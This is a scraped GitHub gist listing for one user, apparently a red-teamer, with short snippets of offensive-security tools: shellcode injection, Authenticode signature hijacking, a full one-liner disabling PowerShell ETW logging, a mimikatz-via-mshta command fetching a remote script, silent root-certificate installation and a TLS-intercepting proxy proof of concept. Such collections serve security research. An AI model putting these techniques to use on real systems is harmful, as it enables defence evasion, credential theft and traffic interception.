davehardy20’s gists

davehardy20 / rwxHunter.cs

Created September 16, 2017 13:17

Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

davehardy20 / PowerView-3.0-tricks.ps1

Created September 20, 2017 13:35 — forked from HarmJ0y/PowerView-3.0-tricks.ps1

PowerView-3.0 tips and tricks

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

davehardy20 / DigitalSignature-Hijack.ps1

Created November 8, 2017 22:18 — forked from netbiosX/DigitalSignature-Hijack.ps1

Hijack Digital Signatures and Bypass Authenticode Hash Validation

	<#
	DigitalSignatureHijack v1.0
	License: GPLv3
	Author: @netbiosX
	#>
	# Validate Digital Signature for PowerShell Scripts

	function ValidateSignaturePS
	{
	$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

davehardy20 / KillETW.ps1

Created November 16, 2017 21:15 — forked from tandasat/KillETW.ps1

Disable ETW of the current PowerShell session

	#
	# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
	# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
	# to bypass Suspicious ScriptBlock Logging for readability.
	#
	[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

davehardy20 / parse_procmon_filters.py

Created November 21, 2017 22:05 — forked from Rurik/parse_procmon_filters.py

Quick tool to find and extract filters from Procmon configuration files

	# Procmon Rule Parser v0.02
	# Brian Baskin - @bbaskin
	# Reads default rules from an exported Procmon Configuration (.PMC) or Procmon Filter (.PMF) file
	# Example output:
	"""
	12:09:59-bbaskin@~/Development/Noriben$ python parse_procmon_filters.py -f ProcmonConfiguration.pmc
	[Exclude] Process Name is Procmon64.exe
	[Exclude] Operation is QueryStandardInformationFile
	[Exclude] Operation is RegOpenKey
	[Exclude] Operation is NotifyChangeDirectory

davehardy20 / spectre.c

Created January 10, 2018 11:57 — forked from ErikAugust/spectre.c

Spectre example code

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

davehardy20 / mimikatz.sct

Created January 19, 2018 09:33

Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"

davehardy20 / script.ps1

Created January 24, 2018 07:51

Hooking MessageBox For No-Prompt Trusted Root Certificate Install


	#Verify Not Present
	( Get-ChildItem Cert:\CurrentUser\Root \| Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" })
	#Import-Certificate
	( Get-ChildItem -Path C:\Test\thing.cer ) \| Import-Certificate -CertStoreLocation cert:\CurrentUser\Root
	#Prompted
	Remove-Item -Path cert:\CurrentUser\Root\5C205339AE9FA846FA99D3FFF0CDEE65EB8D8E99

davehardy20 / InterceptorThing.ps1

Created January 26, 2018 16:10

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

davehardy20 / InterceptorThing.ps1

Created January 26, 2018 16:10

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

Dave Hardy davehardy20